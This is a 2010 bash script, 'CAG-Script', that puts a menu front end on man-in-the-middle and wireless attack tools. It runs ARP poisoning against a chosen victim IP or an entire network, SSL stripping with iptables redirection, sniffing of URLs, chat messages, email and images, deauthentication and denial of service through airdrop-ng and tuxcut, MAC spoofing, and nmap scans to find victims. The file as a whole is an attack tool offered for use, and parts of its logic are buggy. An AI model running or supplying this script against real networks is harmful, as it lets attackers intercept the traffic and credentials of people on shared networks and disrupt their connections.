Boba Fett

#!/bin/bash
#CAG-Script v0.4
#Script by CAG (aka BobaFett)
#May 2010 (updated June 2010)
#To run script, modify the "Customizable Variables" section to meet your needs, make it executable using chmod, or simply right click->properties->permissions->check "is executable", then change to the appropriate directory and type ./CAG-Script in terminal.
#I recommend you run this script on BT4. You will need to install some other programs (like airdrop-ng) if you wish to use them
#On a BT4 live cd I suggest you run my Airdrop-ng install script which will be posted on Pastebin shortly and then integrated into this script

############### Customizable Variables ################
#You must change these to meet your system needs
export MACSPOOF="00:11:22:33:44:55"                             #Mac that macchanger defaults too. Can be any mac address

export WIFIMAN="wlan0"                                          #your card interface (i.e. wlan0, eth0, etc)
export WIFIMON="mon0"                                           #virtual "monitor mode" interface created using Airmon-ng

export TERMINAL="xterm"                         #Your terminal emulator of choice (i.e. xterm, terminator, etc)

export SSLSTRIPPORT="8080"                                      #This can be any (small) number you choose
export SSLOPTIONS="-k -f -l $SSLSTRIPPORT"                      #Sslstrip options, run "driftnet -h" for help
export SSLSTRIPLOC=".../.sslstrip-0.7"          #Location off sslstrip.py

export DRIFTNETOUT=".../Pics"           #Where Driftnet stores captured images
export DRIFTNETOPTIONS="-a -d"                                  #Driftnet options, run "driftnet -h" for help

export DROPRULES="/root/rules"                                  #Airdrop-ng drop rules. You can edit this file "realtime" during the program

export TEXTEDITOR="kate"                                        #Any gui text editor (i.e. kate, geany, etc)

export DEFAULTAIRODUMPOUT="/root/test"                          #Airodump output file location
export VICTIMIP="192.168.1.2"                                   #default victim, you can change this temporarilly during the script
############### Customizable Variables ################

################## Static Variables ###################
#Don't change any of these variables unless you know what you're doing
export ROOT_UID=0
export E_NOTROOT=87
export SSLSTRIPRUN=0
export ESSIDVAR=$(iwconfig $WIFIMAN | grep ESSID | cut -d '"' -f 2)
export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
export SELFIP=$(echo $ip_addr_str|cut -d ' ' -f 9)
export SELFMAC=$(ifconfig ${self_ip_dev}|grep 'HWaddr'|cut -c 39-55)
export fileout=false
export fileout_path='./macs'
export ipblocks=51
export tmpfile=$(tempfile)
export self_ip_dev=$(echo $ip_addr_str|cut -d ' ' -f 3)
################## Static Variables ###################

###################### Functions ######################
Configmenufunc()
{
echo "1-6 are temporary. 7 is permanent."
echo
echo "1) Set Wireless/Wired interface (current: $WIFIMAN)"
echo "2) Set gui text editor (current: $TEXTEDITOR)"
echo "3) Set sslstrip options (current: $SSLOPTIONS)"
echo "4) Set Driftnet output location (current: $DRIFTNETOUT"
echo "5) Set Driftnet options (current: $DRIFTNETOPTIONS"
echo "6) Set terminal emulator (current: $TERMINAL)"
echo "7) Modify CAG-Script source"
echo "8) Exit"
echo "9) < Return to main menu"
while [ 1 ]
do
        read Configmenufunccase
        case "$Configmenufunccase" in
                "1")
                        clear
                        echo "Type Wireless/Wired interface (i.e Wlan0):"
                        read WIFIMAN
                        export $WIFIMAN
                        Configmenufunc
                        ;;
                "2")
                        clear
                        echo "Type gui text editor (i.e kate):"
                        read TEXTEDITOR
                        export $TEXTEDITOR
                        Configmenufunc
                        ;;
                "3")
                        clear
                        echo "Type sslstrip options (i.e. -k -f -l 8080):"
                        read SSLOPTIONS
                        export $SSLOPTIONS
                        Configmenufunc
                        ;;
                "4")
                        clear
                        echo "Type Driftnet output location (i.e. /root/Pics):"
                        read DRIFTNETOUT
                        export $DRIFTNETOUT
                        Configmenufunc
                        ;;
                "5")
                        clear
                        echo "Type terminal emulator (i.e. xterm):"
                        read TERMINAL
                        export $TERMINAL
                        Configmenufunc
                        ;;
                "6")
                        clear
                        echo "Type terminal emulator (i.e. xterm):"
                        read TERMINAL
                        export $TERMINAL
                        Configmenufunc
                        ;;
                "7")
                        clear
                        echo "*WARNING* Do not modify any section of this file other than 'Customizable Variables' section unless you know what you're doing. All changes are permanent."
                        $TEXTEDITOR CAG-Script
                        clear
                        Configmenufunc
                        ;;
                "8")
                        #exitfunc this needs to be written
                        exit
                        ;;
                "9")
                        clear
                        Mainmenufunc
                        ;;
        esac
done
}
export -f Configmenufunc


scriptstartfunc()
{
echo "Initializing CAG-Script."
sleep .3
clear
echo "Initializing CAG-Script.."
sleep .3
clear
echo "Initializing CAG-Script..."
sleep .5
clear
}

nmapscanfunc()
{
export GATEWAYLENGTH=$(expr length "$GATEWAYIP")

if [ $GATEWAYLENGTH -eq "11" ]
then
  export NMAPVICTIMFRONT=$(ip route show | grep default | awk '{ print $3}' | cut -c 1-10)
  export NMAPVICTIMEND="*"
  NMAPVICTIMS="${NMAPVICTIMFRONT}${NMAPVICTIMEND}"
else
  echo "non-standard ‬ip length, type nmap victims manually, replacing last digit(s) with '*' (i.e. 192.168.1.*)"
  read NMAPVICTIMS
fi

clear

    nmap -n -sP -oG ${tmpfile} $NMAPVICTIMS #>/dev/null
    ip_list=$(grep 'Status: Up' ${tmpfile}|cut -d ' ' -f 2 )

set $ip_list
victim1=$1
victim2=$2
victim3=$3
victim4=$4
victim5=$5
victim6=$6
victim7=$7
victim8=$8
victim9=$9
}
export -f nmapscanfunc

choosevictimafternmapfunc()
{
if [ $victim1 -ne ] 2>/dev/null
then
  echo -n
else
echo "1) $victim1"
fi

if [ $victim2 -ne ] 2>/dev/null
then
  echo -n
else
echo "2) $victim2"
fi

if [ $victim3 -ne ] 2>/dev/null
then
  echo -n
else
echo "3) $victim3"
fi

if [ $victim4 -ne ] 2>/dev/null
then
  echo -n
else
echo "4) $victim4"
fi

if [ $victim5 -ne ] 2>/dev/null
then
  echo -n
else
echo "5) $victim5"
fi

if [ $victim6 -ne ] 2>/dev/null
then
  echo -n
else
echo "6) $victim6"
fi

if [ $victim7 -ne ] 2>/dev/null
then
  echo -n
else
echo "7) $victim7"
fi

if [ $victim8 -ne ] 2>/dev/null
then
  echo -n
else
echo "8) $victim8"
fi

if [ $victim9 -ne ] 2>/dev/null
then
  echo -n
else
echo "9) $victim9"
fi

echo "choose victim IP:"

while [ 1 ]
do
        read Nmapscancase
        case "$Nmapscancase" in
                "1")
                        export VICTIMIP=$victim1
                        break
                        ;;
                "2")
                        export VICTIMIP=$victim2
                        break
                        ;;
                "3")
                        export VICTIMIP=$victim3
                        break
                        ;;
                "4")
                        export VICTIMIP=$victim4
                        break
                        ;;
                "5")
                        export VICTIMIP=$victim5
                        break
                        ;;
                "6")
                        export VICTIMIP=$victim6
                        break
                        ;;
                "7")
                        export VICTIMIP=$victim7
                        break
                        ;;
                "8")
                        export VICTIMIP=$victim8
                        break
                        ;;
                "9")
                        export VICTIMIP=$victim9
                        break
                        ;;
        esac
done
}
export -f choosevictimafternmapfunc

arghelp()
{
Usage: $0 ./CAG-Script [args]
echo"    -h, --help     -  Print this help and exit"
echo"    -i. --iface    -  Interface to use"

echo"    -v, --victim   -  IP address of desired host"
echo"    -g, --gateway  -  IP address of network gateway"
}
export -f arghelp

argfunc()
{
export -f arghelp

while [ $# -gt 0 ]
do
        case "$1" in
                "-h"|"--help")
                        help
                        exit
                ;;
                "-v"|"--victim")
                        export VICTIMIP="$2"
                ;;
                "-g"|"--gw")
                        export GATEWAYIP="$2"
                ;;
                "-i"|"--iface")
                        if [ $(ifconfig "$2" &> /dev/null; echo $?) == 1 ] ;then
                                die "Error: interface "$2" does not exist!"
                        else
                                iface="-i $2"
                        fi
                ;;
        esac
        shift
done
}
export -f argfunc

rootcheck()
{
if [ "$UID" -ne "$ROOT_UID" ]
then
  echo "Must be root to run this script."
  exit $E_NOTROOT
fi
}
export -f rootcheck

ipforwardstartfunc()
{
echo 1 > /proc/sys/net/ipv4/ip_forward
}
export -f ipforwardstartfunc

ipforwardstopfunc()
{
while [ $(cat /proc/sys/net/ipv4/ip_forward) == 1 ]
        do
                echo 0 > /proc/sys/net/ipv4/ip_forward
        done
}
export -f ipforwardstopfunc

checkconnectionfunc()
{
export GATEWAYIP="$(ip route show | grep default | awk '{ print $3}')"
if [ $GATEWAYIP -ne ]
then
        echo "No internet available :("
        export connectionvar=0
else
        export GATEWAYIP="$(ip route show | grep default | awk '{ print $3}')"
        export VICTIMIP="/${IP1}${IP2}/"
        echo "We've got internet"
        export connectionvar=1
exit
fi
}

essidfunc()
{
export ESSIDVAR=$(iwconfig $WIFIMAN | grep ESSID | cut -d '"' -f 2)
echo "connected to $ESSIDVAR"
}

exitfunc()
{
echo 0 > /proc/sys/net/ipv4/ip_forward
killall sslstrip 2>/dev/null
pkill sslstrip 2>/dev/null
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
}
export -f exitfunc

sslstripexitfunc()
{
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
}
export -f sslstripexitfunc

chooseettercapvictim()
{
echo "Complete victim IP:"
echo "leave blank and press enter to spoof entire network"
echo -n "192.168." && read IP2
IP1=192.168.
if [ $IP2 -eq ]
then
        export VICTIMIP="//"
        export GATEWAYIP="//"
        echo "spoofing entire network..."
        echo "press q to re-arp victims"
else
        export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
        export VICTIMIP="/${IP1}${IP2}/"
fi
}
export -f chooseettercapvictim

choosearpspoofvictim()
{
echo "Complete victim IP:"
echo "leave blank and press enter to spoof entire network"
echo -n "192.168." && read IP2
IP1=192.168.
if [ $IP2 -eq ]
then
        export VICTIMIP=" "
        export TARGETOPTION=" "
        echo "spoofing entire network..."
else
        export VICTIMIP=${IP1}${IP2}
        export TARGETOPTION="-t"
        echo $VICTIMIP
fi
}
export -f choosearpspoofvictim

ettercapfunc()
{
echo "1) Run Arp-Poisoning attack against $VICTIMIP"
echo "2) Spoof entire network (this will drastically slow down large networks)"
echo "3) Manually type victim IP"
echo "4) Scan for victims using Nmap"
echo "5) < Return to MITM menu"
echo "6) exit"
while [ 1 ]
do
        read restartettercapmenu
        case "$restartettercapmenu" in
                "1")
                        echo " "
                        echo "...starting Ettercap-Ng, press q to stop attack..."
                        echo " "
                        ettercap -T -i $WIFIMAN -Tq -M ARP /$GATEWAYIP/ /$VICTIMIP/
                        export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
                        ettercapfunc
                        ;;

                "2")
                        echo " "
                        echo "...starting Ettercap-Ng, press q to stop attack..."
                        echo " "
                        ettercap -T -i $WIFIMAN -Tq -M ARP // //
                        export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
                        ettercapfunc
                        ;;
                "3")
                        echo " "
                        echo "...starting Ettercap-Ng, press q to stop attack..."
                        echo " "
                        chooseettercapvictim
                        ettercap -T -i $WIFIMAN -Tq -M ARP /$GATEWAYIP/ $VICTIMIP
                        export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
                        ettercapfunc
                        ;;
                "4")
                        nmapscanfunc
                        choosevictimafternmapfunc
                        echo " "
                        echo "...starting Ettercap-Ng, press q to stop attack..."
                        echo " "
                        export GATEWAYIP=$(ip route show | grep default | awk '{ print $3}')
                        ettercap -T -i $WIFIMAN -Tq -M ARP /$GATEWAYIP/ /$VICTIMIP/
                        ettercapfunc
                        ;;
                "5")
                        clear
                        MITMattackmenufunc
                        ;;
                "6")
                        exit
                        ;;
        esac
done
}
export -f ettercapfunc

arpspooffunc()
{
echo "1) Run Arp-Poisoning attack against $VICTIMIP"
echo "2) Spoof entire network (this will drastically slow down large networks)"
echo "3) Manually type victim IP"
echo "4) Scan for victims using Nmap"
echo "5) < Return to MITM menu"
echo "6) exit"
while [ 1 ]
do
        read restartarpspoofmenu
        case "$restartarpspoofmenu" in
                "1")
                        echo " "
                        echo "...starting Arpspoof, press ctrl-c to stop attack..."
                        echo " "
                        ipforwardstartfunc
                        arpspoof -i $WIFIMAN -t $VICTIMIP $GATEWAYIP
                        arpspooffunc
                        ;;

                "2")
                        echo " "
                        echo "...starting Arpspoof, press ctrl-c to stop attack..."
                        echo " "
                        ipforwardstartfunc
                        arpspoof -i $WIFIMAN $GATEWAYIP
                        arpspooffunc
                        ;;

                "3")
                        choosearpspoofvictim
                        echo
                        echo "...starting Arpspoof attack, press ctrl-c to stop attack..."
                        echo
                        ipforwardstartfunc
                        arpspoof -i $WIFIMAN $TARGETOPTION $VICTIMIP $GATEWAYIP
                        arpspooffunc
                        ;;
                "4")
                        nmapscanfunc
                        choosevictimafternmapfunc
                        echo
                        echo "...starting Arpspoof attack, press ctrl-c to stop attack..."
                        echo
                        ipforwardstartfunc
                        arpspoof -i $WIFIMAN -t $VICTIMIP $GATEWAYIP
                        arpspooffunc
                        MITMattackmenufunc
                        ;;
               "5")
                        MITMattackmenufunc
                        ;;
                "6")
                        exit
                        ;;
        esac
done
}
export -f arpspooffunc

urlsnarffunc()
{
ipforwardstartfunc
urlsnarf -i $WIFIMAN
}
export -f urlsnarffunc

driftnetfunc()
{
ipforwardstartfunc
driftnet -i $WIFIMAN $DRIFTNETOPTIONS $DRIFTNETOUT
echo "Driftnet killed, delete captured images? (yes,no)"
read driftnetdeleteopt
if [ $driftnetdeleteopt -eq yes ]
then
  rm -r $DRIFTNETOUT
  mkdir $DRIFTNETOUT
else
  exit
fi
}
export -f driftnetfunc

webspyfunc()
{
echo "not complete"
}
export -f webspyfunc

msgsnarffunc()
{
ipforwardstartfunc
msgsnarf -i wlan0
}
export -f msgsnarffunc

mailsnarffunc()
{
ipforwardstartfunc
mailsnarf -i wlan0
}
export -f mailsnarffunc

sslstripfunc()
{
#if [ "$SSLSTRIPRUN" -eq "0" ]
#then
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port $SSLSTRIPPORT
#  SSLSTRIPRUN=1
#fi
#ipforwardstartfunc
echo 1 > /proc/sys/net/ipv4/ip_forward
cd $SSLSTRIPLOC
#$TERMINAL --execute bash -c "cd $SSLSTRIPLOC && cat sslstrip.log ; bash" &
python sslstrip.py $SSLOPTIONS 2> /dev/null
}
export -f sslstripfunc

tcpkillfunc()
{
echo "not complete"
}
export -f tcpkillfunc

MITMhelpfunc()
{
clear
echo "CHoose program manual to read:"
echo "1) Ettercap-ng"
echo "2) Arpspoof"
echo "3) Urlsnarf"
echo "4) Driftnet"
echo "5) Webspy"
echo "6) Msgsnarf"
echo "7) Mailsnarf"
echo "8) Sslstrip"
echo "9) Tcpkill"
echo "10) < Return to MITM menu"
while [ 1 ]
do
        read MITMhelpcase
        case "$MITMhelpcase" in
                "1")
                        ettercap -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;

                "2")
                        arpspoof -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "3")
                        urlsnarf -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "4")
                        driftnet -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "5")
                        webspy -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;

                "6")
                        msgsnarf -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "7")
                        mailsnarf -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "8")
                        cd $SSLSTRIPLOC
                        python sslstrip.py -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "9")
                        tcpkill -h
                        echo "Press enter to return to help menu:"
                        read MITMHELPVAR
                        clear
                        MITMattackmenufunc
                        ;;
                "10")
                        clear
                        MITMattackmenufunc
                        ;;
        esac
done
}
export -f MITMhelpfunc

MITMattackmenufunc()
{
clear
echo "Choose program:"
echo "1) Ettercap"
echo "2) Arpspoof"
echo "3) Urlsnarf"
echo "4) Driftnet"
echo "5) Webspy (not working yet...)"
echo "6) Msgsnarf"
echo "7) Mailsnarf"
echo "8) Sslstrip"
echo "9) Tcpkill"
echo "10) Help"
echo "11) < Return to main menu"

while [ 1 ]
do

        read MITMattackmenucase
        case "$MITMattackmenucase" in
                "1")
                        $TERMINAL --execute bash -c "ettercapfunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "2")
                        $TERMINAL --execute bash -c "arpspooffunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "3")
                        $TERMINAL --execute bash -c "urlsnarffunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "4")
                        $TERMINAL --execute bash -c "driftnetfunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "5")
                        $TERMINAL --execute bash -c "webspyfunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "6")
                        $TERMINAL --execute bash -c "msgsnarffunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "7")
                        $TERMINAL --execute bash -c "mailsnarffunc ; bash" &
                        clear
                        MITMattackmenufunc
                        ;;
                "8")
                        $TERMINAL --execute bash -c "sslstripfunc ; bash" &
                        MITMattackmenufunc
                        ;;
                "9")
                        clear
                        MITMattackmenufunc
                        ;;
                "10")
                        $TERMINAL --execute bash -c "tcpkillfunc ; bash" &
                        clear
                        MITMhelpfunc
                        ;;
                "11")
                        clear
                        Mainmenufunc
                        ;;
        esac
done
}
export -f MITMattackmenufunc

Mainmenufunc()
{
echo "Choose type of attack:"
echo "1) MITM attack"
echo "2) Passive sniffing and probing"
echo "3) Deauth/Dos attack"
echo "4) Config"
echo "5) Help"
echo "6) Exit"
while [ 1 ]
do
        read Mainmenucase
        case "$Mainmenucase" in
                "1")
                        clear
                        MITMattackmenufunc
                        Mainmenufunc
                        ;;
                "2")
                        clear
                        Passivesniffingmenufunc
                        Mainmenufunc
                        ;;
                "3")
                        clear
                        Deauthmenu
                        Mainmenufunc
                        ;;
                "4")
                        clear
                        Configmenufunc
                        ;;
                "5")
                        clear
                        echo "No help yet, sorry..."
                        Mainmenufunc
                        ;;
                "6")
                        exit
                        ;;
        esac
done
}

Passivesniffingmenufunc()
{
echo "Choose program to run:"
echo "1) Wireshark"
echo "2) Zenmap"
echo "3) EtherApe"
echo "4) Angry IP Scanner"
echo "5) ifconfig"
echo "6) iwconfig"
echo "7) Help"
echo "8) Exit"
echo "9) < Return to main menu"

while [ 1 ]
do
        read Passivesniffingmenucase
        case "$Passivesniffingmenucase" in
                "1")
                        wireshark 2> /dev/null &
                        clear
                        Passivesniffingmenufunc
                        ;;
                "2")
                        zenmap 2> /dev/null &
                        clear
                        Passivesniffingmenufunc
                        ;;
                "3")
                        etherape -i $WIFIMAN 2> /dev/null &
                        clear
                        Passivesniffingmenufunc
                        ;;
                "4")
                        /usr/bin/ipscan 2> /dev/null &
                        clear
                        Passivesniffingmenufunc
                        ;;
                "5")
                        ifconfig
                        Passivesniffingmenufunc
                        ;;
                "6")
                        iwconfig
                        Passivesniffingmenufunc
                        ;;
                "7")
                        clear
                        echo "No help, sorry..."
                        Passivesniffingmenufunc
                        ;;
                "8")
                        #exitfunc this needs to be written
                        exit
                        ;;
                "9")
                        Mainmenufunc
                        ;;
        esac
done
}
export Passivesniffingmenufunc

Macchangerfunc()
{
        echo "1) Spoof Mac address to $MACSPOOF"
        echo "2) Manually type Mac address"
        echo "3) Random Mac address"
        echo "4) Run custom command"
        echo "5) Help"
        echo "6) < Return to main menu"
while [ 1 ]
do
        read CHOICE1
        case "$CHOICE1" in
                "1")
                        ifconfig $WIFIMAN down
                        macchanger $WIFIMAN -m $MACSPOOF
                        ifconfig $WIFIMAN up
                        echo
                        Mainmenufunc
                        ;;
                "2")
                        echo "Type new fake mac address: (i.e. 00:11:22:33:44:55)"
                        read MACINTCUSTOM
                        ifconfig $WIFIMAN down
                        macchanger $WIFIMAN -m $MACINTCUSTOM
                        ifconfig $WIFIMAN up
                        echo
                        Mainmenufunc
                        ;;
                "3")
                        macchanger $WIFIMAN -r
                        echo
                        Mainmenufunc
                        ;;
                "4")
                        echo "Type custom macchanger command:"
                        ifconfig $WIFIMAN down
                        echo -n "macchanger $WIFIMAN" && read $CUSTOMMACCHANGEROPTONS
                        macchanger $WIFIMAN $CUSTOMMACCHANGEROPTONS
                        ifconfig $WIFIMAN up
                        clear
                        Mainmenufunc
                        ;;
                "5")
                        clear
                        Mainmenufunc
                        ;;
                "6")
                        clear
                        Mainmenufunc
                        ;;
        esac
done
}
export -f Macchangerfunc

Deauthmenu()
{
echo "Choose program to run:"
echo "1) Airdrop-ng"
echo "2) Tuxcut"
#echo "3) "
#echo "4) "
#echo "5) "
#echo "6) "
#echo "7) "
echo "3) Help"
echo "4) Exit"
echo "5) < Return to main menu"

while [ 1 ]
do
        read Deauthmenucase
        case "$Deauthmenucase" in
                "1")
                        $TERMINAL --execute bash -c "Airdropngfunc ; bash" &
                        clear
                        Passivesniffingmenufunc
                        ;;
                "2")
                        tuxcut &
                        clear
                        Passivesniffingmenufunc
                        ;;
                "3")
                        echo "No help yet, sorry..."
                        Passivesniffingmenufunc
                        ;;
                "4")
                        #exitfunc this needs to be written
                        exit
                        ;;
                "5")
                        Mainmenufunc
                        ;;
        esac
done
}
export -f Deauthmenu

Airdropngfunc()
{
rm /root/*.csv 2> /dev/null #cleaning up csv from previous run  2> /dev/null

echo "1) use default output location ($DEFAULTAIRODUMPOUT)"
echo "2) choose airodump output name"
echo "3) quit"

while [ 1 ]
do
        read CHOICE3
        case "$CHOICE3" in
                "1")
                        airoout="$DEFAULTAIRODUMPOUT"
                        break
                        ;;
                "2")
                        echo "output name: (i.e. $DEFAULTAIRODUMPOUT)"
                        read airoout
                        echo $airoout
                        ;;
                "3")

                        rm $airoout*.csv  2> /dev/null #cleaning up csv from previous run
                        exit
                        ;;
        esac
done

echo "starting airodump-ng on $WIFIMAN"
$TERMINAL --geometry=1024x576 --execute bash -c "airodump-ng $WIFIMAN -w $airoout --output-format csv ; bash" 2> /dev/null &

$TEXTEDITOR $DROPRULES

airdrop-ng -i $WIFIMAN -t $airoout-01.csv -r $DROPRULES -b -p
}
export -f Airdropngfunc
###################### Functions ######################

#################### Main Program #####################
clear
rootcheck
argfunc
scriptstartfunc
Mainmenufunc
#################### Main Program #####################